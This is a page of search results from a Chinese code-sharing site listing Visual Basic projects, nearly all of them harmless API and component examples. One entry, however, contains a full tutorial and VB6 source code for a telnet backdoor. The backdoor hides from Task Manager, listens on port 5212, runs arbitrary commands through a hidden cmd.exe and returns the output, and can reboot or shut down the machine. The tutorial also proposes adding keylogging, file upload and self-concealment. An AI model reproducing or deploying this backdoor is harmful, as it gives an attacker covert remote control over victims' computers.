Welcome![Sign In][Sign Up]
Location:
Search - VB CALL

Search list

[Othervbuesmatlabcom

Description: vb 调用matlab生成的com组件例程 matlab完成计算fft,和显示fft波形-vb call Matlab component com generation of Matlab routines complete calculation fft. and display waveform fft
Platform: | Size: 15555213 | Author: 刘文景 | Hits:

[Menu controlXP_menu

Description: 用VB调用API函数如保实现XP风格的菜单。-VB call API functions such as factoring achieve XP style menu.
Platform: | Size: 1405 | Author: liuganyu | Hits:

[Windows Developvb调用api例子两个

Description: vb下调用api的两个例子 虽然大家都喜欢在vc下调用api,但是vb下同样也有不少需求啊.-vb called api under the two examples Although everyone likes to call the vc under api, but under the same vb there are many needs ah. Oh
Platform: | Size: 4060 | Author: 夏世峰 | Hits:

[assembly languagevb-sub

Description: 用VB实现USB功能,主要是通过调用EasyD12.dll动态连接库函数,控制USBU端对 DP-51学习板24WC02时行读写控制。-VB USB functions, mainly through call EasyD12.dll DLL function, USBU-right control of DP-51 learning at the plate WC02 24 firms control read and write.
Platform: | Size: 228532 | Author: 刘睿 | Hits:

[Compress-Decompress algrithmsvb+mscomm

Description: 利用VB开发通信程序主要的方法有两种,一是利用VB本身提供的控件(CONTRALS),另一种方法是利用WINDOWS API应用程序接口,WINDOWS API 主要提供了三个动态连接库KERNEL.EXE、USER.EXE、GDI.EXE供开发人员调用-use VB major communication program two ways. First, the use of VB itself, the controls (CONTRALS) Another method is to use Windows API application programming interface, Windows API provides essentially three KERNEL.EXE Dynamic Link Library, USER.EXE, GDI.EXE call for developers
Platform: | Size: 1528344 | Author: tomtan | Hits:

[Applicationsvb-组态王

Description: 一个VB开的调用组态王OPC SERVER的客户端程序代码,包括说明书-an open call Kingview OPC Server client code, including brochures
Platform: | Size: 603576 | Author: 韩洪涛 | Hits:

[Dialog_WindowDLL输出对话框类的例子

Description: 此代码示范了如何将对话框封装到MFC DLL,然后可由VC,VB/VB.NET调用。压缩包中有两个例子: 1、dlldemo 示范了从VC中调用; 2、vbnetdllcall 示范了从VB.NET调用的例子;-this code will be demonstrations of how to MFC dialog Packaging DLL, which may then be VC, VB / VB call. Compressed are two examples : one, dlldemo demonstration of a call from the VC; 2, vbnetdllcall demonstration calling from VB.NET example;
Platform: | Size: 60680 | Author: 丁俊 | Hits:

[GUI DevelopVB控件实例21-30

Description: VB控件实例21-30,打印调用和帮助调用,资源管理器窗口,控制面板窗口-VB Control examples 21-30, print and help call called Resource Manager window, the control panel window, etc.
Platform: | Size: 81599 | Author: 李子木 | Hits:

[Email Clientvb-outlook

Description: 用VB编写收发电子邮件程序。在VB中,应用程序可以通过调用微软公司的MAPI实现收发电子邮件的功能-VB prepared e-mail procedures. In VB, applications can call Microsoft's MAPI realization of the e-mail function
Platform: | Size: 1880 | Author: | Hits:

[Windows DevelopVB设计的屏保

Description: 1)屏幕保护程序运行时,鼠标光标被自动隐藏,在程序结束时,光标显示。2)当单击、移动鼠标或按下键盘时,屏幕保护结束,回到正常操作状态。为了实现这些特性,在编写VB应用程序时,可以采用如下方法:   1、改变窗体属性通常VB应用程序的窗体都采用有边框的窗体外观,但作为屏幕保护程序,应设置窗体为无边框,且为最大化。   2、隐藏及显示鼠标光标在Visual Basic应用程序中隐藏及显示鼠标光标需要运用Windows的API函数,该函数名为ShowCursor。当用参数值True调用时显示鼠标光标,当用参数值False调用时,鼠标光标自动隐藏。   3、检测鼠标移动VB中有一个检测鼠标移动的对象事件MouseMove事件。MouseMove事件通常在应用程序启动时就会触发,有时在鼠标并未移动的情况下,MouseMove事件仍有可能被触发。因此如果在程序中直接用MouseMove事件检测鼠标是否发生了移动,并不能正确反映鼠标的移动状况。应该在MouseMove事件中编写代码加以控制。 -1) screen saver running, the mouse cursor automatically hidden, at the end of the procedure, the cursor display. 2) When the click, move the mouse or press the keyboard, the screen ends and return to normal operating status. To achieve these characteristics, in the preparation of VB applications, can be used as follows : a change forms usually attribute the VB application forms have adopted a frame of the window appearance, but as screen protection procedures should be provided to non-Window frame, and as a maximum. 2, hide and display the mouse cursor in Visual Basic Application Program hide and display the mouse cursor need to use Windows API function which is called ShowCursor. When using parameters True called to show the mouse cursor, using parameter values False call, the mouse curso
Platform: | Size: 2514 | Author: 田欣 | Hits:

[Other resource在VC客户端调用vb的dll

Description: c++的一个很典型的应用就是dll的调用,对于怎么样好的调用dll程序,阅读本程序对您将大有益处。-c of a typical application is dll call, like how good call dll procedures, the procedures for reading you will greatly benefit.
Platform: | Size: 26164 | Author: karanwang | Hits:

[Network DevelopVB Telnet编程指导思路

Description:

vB编程之TELNET
对于TELNET后门的编写我们可通过VC来编写,网上也有很多的关于用VC编写TELNET后门的源码。但是看X档案的一定不少是喜欢VB来编写程序的。纵然编写TELNET后门不是VB的长项,但这不并难实现。偶没见网上有用VB编写TELNET后门的文章,所以我就写下了此文,确切的说,
这不是个真正后门,只是一个后门的基本模型,甚至可以说毛坯。BUG的修改,不足的修补,功能的扩充还需读者动手来实现。
首先,我们在大脑里想象出一个后门运行的过程或者把其大概的流程画出来,然后就按这个过程逐步来实现。好了,
下面就开始我们的后门编写之路。首先就是当程序运行时防止再一个程序的运行,实现代码如下:
Private Sub Form_Load()
syspath = systempath()
'防止多个程序运行
If App.PrevInstance Then
End
End If
cmdno = True
'使程序不在任务管理器中显示
App.TaskVisible = False
'监听端口5212
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
其次,当telnet端请求连接时,服务端接受请求。(大家可以在此试着实现密码验证机制的实现,很简单,在此不再给出代码)
当TELNET连接时,触发ConnectionRequest事件,在这个事件中向控制端发送相应的成功连接和帮助信息。
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub
当我们连接上时,就需要对TELNET发来的命令进行一系列的处理和执行,以及执行相关的控制功能。
其中的问题是服务端接受来自TELNET客户端的连接和命令,由于TELNET传输命令时只能每间次传输一个字符的特殊性,
所以我们需要编写一个处理命令的过程,这个不难实现。还有就是对特殊字符的过滤和处理,如TELNET输入错误按DEL键,
按ENTER键来完成一条命令的输入。当TELNET连上服务端时,实现shell功能,以及shell功能和其它功能的分离。
对其中的问题有了大概的了解,那实现起来也就不难了。代码如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
'过滤del键盘,用来telnet命令输入错误处理.如果输入del键盘,则当前命令无效
If Asc(str1) = 8 Then
myname = "" '清空命令存储
Winsock1.SendData vbCrLf & "shell>"
End If
'检察当前一个命令的完整性和对命令输入错误的处理
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
Elseif Asc(str1) <> 8 Then
'测试时,查看接受的命令
Text1.Text = myname & vbcrlf
myname = "" '清空对当前命令的存储,用来接受下一条命令
'--------下面是对接受命令的处理
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
'------------------------------
'判断是不是在虚拟shell中,不是则执行如下命令,否则执行虚拟shell命令语句
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "cammond error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
'调用执行结果发送过程
Call tranrlt
Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True '重置虚拟shell标志
End If
End If
End If
End Sub
接下来要考滤的是,虚拟shell的实现,我用了一个简单的方法,就是把命令执行结果写入一个文本文档,然后读取其中的内
容并将结果发送给控制端。代码如下:
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
至此,后门的主要问题都解决了,也许有的读者可以看出,这个后门模型存在问题。的确,这个后门模型并不完整,
所谓学而三思,思而后行,剩下的问题读者可以试着去解决。在此我不在给出源码。提示一下:
(1)如果TELNET不正常退出,服务端还会继续保存当前的会话,重新连接后失败。还有就是如何可以允许多人同时连接功能。
(2)读者可以加上密码验证机制,在此基础上扩大它的控制功能,如键盘记录,文件上传等。
(3)一个成功的后门,必然有一个好的隐藏和自我保护机制,所以,大家需要努力发挥自己的聪明和才智了。
以上只是个人愚见,不难实现。其实程序编写只有深入其中,动手实践,才会发现各种问题,而正是在这发现问题,解决问题的过程中,
你会学到更多,成功后的满足也更多。当我们苦苦思索解决一个问题或实现一种新方法和功能时,那种豁然开朗,
成功的喜悦会让你体会编程的乐趣。希望大家看完本文和在动手来完善它的时候,能学到些知识和技巧,那本文的目的也就达到了。

_____________--源码
Public syspath As String
Public cmdno As Boolean
Private Declare Sub Sleep Lib "kernel32" (ByVal nsecond As Long)
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Const EWX_REBOOT = 2
Const EWX_SHUTDOW = 1
Public myname As String
Sub tranrlt()
Dim strrlt As String
Open syspath & "\shell.rlt" For Input As #1
Do While Not EOF(1)
Line Input #1, strrlt
Winsock1.SendData strrlt & vbCrLf
Loop
Close #1
Winsock1.SendData "----------------------------------------------------" & vbCrLf
Shell "cmd.exe /c del " & syspath & "\shell.rlt&exit", vbHide
End Sub
Function systempath() As String
Dim filepath As String
Dim nSize As Long
filepath = String(255, 0)
nSize = GetSystemDirectory(filepath, 256)
filepath = Left(filepath, nSize)
systempath = filepath
End Function
Private Sub Form_Load()
syspath = systempath()
If App.PrevInstance Then
End
End If
cmdno = True
App.TaskVisible = False
Winsock1.LocalPort = 5212
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "------------------------backdoor v1.0-------------------------" & vbCrLf & _
Space(16) & "code by eighteen" & vbCrLf & "-------------------------------------------------------------" & _
vbCrLf & "type help to get help" & vbCrLf & "shell>"
End If
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim str1 As String
Dim scmd As String
Dim i As Integer
Dim tag As Integer
Winsock1.GetData str1
If Asc(str1) = 8 Then
myname = ""
Winsock1.SendData vbCrLf & "command error!" & vbCrLf & "shell>"
End If
If (Asc(str1) <> 13) And (Asc(str1) <> 8) Then
myname = myname + str1
ElseIf Asc(str1) <> 8 Then
Text1.Text = myname & vbCrLf
myname = ""
tag = InStr(Text1.Text, Chr(13)) - 1
scmd = Left(Text1.Text, tag)
If cmdno = True Then
Select Case scmd
Case "help"
Winsock1.SendData "cmd     -------打开shell" & vbCrLf & "reboot     -------重启" & _
vbCrLf & "shutdown   ------- 关机" & vbCrLf & "exit     -------退出" & vbCrLf & "shell>"

Case "reboot"
ExitWindowsEx EXW_REBOOT, 0

Case "shutdown"
ExitWindowsEx EXW_SHUTDOWN, 0
Case "exit"
Winsock1.SendData "exit seccessful!"
Winsock1.Close
Winsock1.Listen
Case "cmd"
Winsock1.SendData "获得虚拟shell成功!" & vbCrLf & "vcmd>"
cmdno = False
Case Else
Winsock1.SendData "command error!" & vbCrLf & "shell>"
End Select
Else
Shell "cmd.exe /c" & Space(1) & scmd & Space(1) & ">" & syspath & "\shell.rlt&exit", vbHide
Sleep (500)
Call tranrlt

Winsock1.SendData "如果想退出虚拟shell,清输入exit" & vbCrLf & "vcmd>"
If scmd = "exit" Then
Winsock1.SendData "成功退出虚拟shell!" & vbCrLf & "shell>"
cmdno = True
End If
End If
End If
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub


Platform: | Size: 8205 | Author: onetwogoo | Hits:

[OS programwinsockapi

Description: Winsock API高级编程调用大全-Winsock API call high-level programming Guinness
Platform: | Size: 162816 | Author: 站长 | Hits:

[Internet-Networkvb

Description: 局域网呼叫工具,适合呼叫那些在游戏里面而无法看到信息的人!-LAN call tool, suitable for those who call the game inside and not be able to see information on people!
Platform: | Size: 34816 | Author: 王者 | Hits:

[Windows Developvb调用api例子两个

Description: vb下调用api的两个例子 虽然大家都喜欢在vc下调用api,但是vb下同样也有不少需求啊.-vb called api under the two examples Although everyone likes to call the vc under api, but under the same vb there are many needs ah. Oh
Platform: | Size: 4096 | Author: 夏世峰 | Hits:

[Windows Develop以excel为数据库

Description: 此例子虽然小,但是确实我的一位同学提出的,呵呵,当然她不是学计算机的,还着实让我想了一阵子.不要嫌弃简单,你会吗? 用vb调用excel,excel做数据库,可不是access啊.-small, but actually one of my classmates made, Oh, of course she is not a computer, but also did so for a while I think. Despise not simple, you would call it using vb excel, excel do database access is not ah.
Platform: | Size: 40960 | Author: 夏世峰 | Hits:

[Voice CompressVB_CTI

Description: 用VB写的呼叫中心-VB wrote Call Center
Platform: | Size: 36864 | Author: 巫升华 | Hits:

[SCM无线信息发布系统

Description: VB编写的无线信息发布系统(短信收发与数据库处理结合),全套程序!自带PDU短信编码字库!该字库可用单片机上的短信系统开发。还具备电话呼叫功能!-VB prepared by the wireless information delivery system (SMS transceiver combined with database processing), a full set of procedures! PDU encoded messages own character! The font available on the SCM messaging system development. It also possesses ability to call!
Platform: | Size: 145408 | Author: 蔡世贵 | Hits:

[ActiveX/DCOM/ATLvbCAD

Description: 用VB开发的程序,可以调用Autocad程序,并能对其菜单进行编辑。-VB the program can call Autocad procedures, and its menu can be edited.
Platform: | Size: 2048 | Author: 沈正军 | Hits:

[SQL Server备份和还原

Description: VB中如何把SQL SERVER 中的备份和还原窗体调用出来,用户可以不用点击SQL中的备份和还原窗体-VB how the SQL Server backup and restore forms call, users do not have to click on the SQL Backup and Restore Form
Platform: | Size: 2048 | Author: 碰风 | Hits:
« 1 2 3 4 56 7 8 9 10 ... 38 »

CodeBus www.codebus.net